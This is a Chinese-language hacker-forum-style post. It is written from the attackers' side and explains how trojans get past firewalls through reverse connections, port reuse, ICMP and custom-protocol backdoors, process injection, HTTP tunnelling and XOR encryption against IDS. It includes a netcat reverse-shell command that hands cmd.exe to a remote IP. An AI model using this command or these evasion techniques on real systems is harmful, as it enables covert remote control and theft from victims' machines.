网络不太平,谁上网都会架起个firewall来防护网络攻击,这岂不是给我们木马的生存带来了巨大挑战?
物竞天择,适者生存,嗯...要想生存下去就要穿墙! Bypass Firewall:
1. 首先就是No Firewall(允许本地对外监听基本上任何端口),没有防火墙?(这不是废话?)
对付这种机器好办,随便哪个马一般都行典型代表 Radmin(其实它不是马,用的人多了,也就变成了马,无辜)
rdp 3389/tcp (远程桌面,它也不是马,不过你不用,还有谁用呢?)
2. 端口筛选(只允许外部连接特定端口,也就是外部对特定端口发起syn连接请求才被接受,从而完成三次握手,建立连接,否则防火墙丢弃数据包,无法完成握手,无法建立连接,也就是木马不能随意开个端口就监听了)
道高一尺,魔高一丈.:
你不让我连你,我就让你连我呗, 反弹端口技术诞生了(一般防火墙对本地发起的syn连接请求不会拦截)
使用工具netcat就可以穿刺这种防火墙 :
nc -e cmd.exe 远程ip 远程监听port
随后,端口复用技术也出现了,复用防火墙开放的端口:如80,21,445等
典型的后门如hkdoor,ntrookit(作者都是国人yyt_hac )
还有利用无端口协议来通信,如利用icmp报文,(Ping就是利用的ICMP协议的 Echo Request和Echo Reply探测主机存活)
典型的如pingdoor (Ping由于使用icmp报文,根本不开放端口,端口筛选也就无可奈何了,但是icmp并无差错控制,所以这种后门的传输特性也并不理想,除非自己加上差错控制)
更牛的,就是干脆抛开TCP/IP协议,木马自定义协议进行通信,你防火墙能把我怎么样?哈哈
典型的如ntrootkit采用了自定义协议技术.
3.应用程序筛选.(只允许特定程序访问网络)
木马也不甘落后,自己不能访问网络,只好寄人篱下:
进程插入技术诞生了,通常firewall都要允许iexplore.exe,explore.exe,svchost.exe,services.exe等程序访问网络,于是木马便盯上了这些程序.插入...插入再插入
现在的远程控制一般都是插入进程式,一是隐蔽(没有自己进程),二是穿墙.典型如Bits.dll(替换系统服务BITS,插入svchost.exe中) 和灰鸽子/PcShare(默认插入iexplorer.exe浏览器进程)等.
4.协议筛选.
(例如,只允许80端口通过http协议,这样那些端口复用的后门没有使用http协议,不幸被防火墙拒之门外.:-)
怎么办? 暗渡陈仓, 挖隧道: http-tunnel (http隧道)将木马通信封装成http数据报进行传输.
使用这种技术的有pcshare(使用双向http隧道传输)
5.IP过滤,一般就是化分为本机,局域网,广域网三个层次,不过木马也不是吃素的,有些木马已经开始智能化了:
比如,无法连到黑客主机或者跳板,就搜索本机的代理设置,如IE代理设置,然后代理出去!
可以想象P2P形式的马也将于不久以后成为可能,这样木马和僵尸网络的区别就更小了 呵呵
6. 现在很多防火墙都可以检测传输的敏感信息,如用户口令等,所以抗IDS,抗自动分析,这便成了高级木马需要考虑的东西,换句话说保护黑客控制的安全性和隐秘性.典型的解决方法就是采取加密措施,如最简单的对付IDS检测的方法,xor异或加密.
但是现在的防护墙肯定不是以上技术的分离,而是一定有多项技术同时采用.
同时,综合利用以上对抗技术的木马也不鲜见了.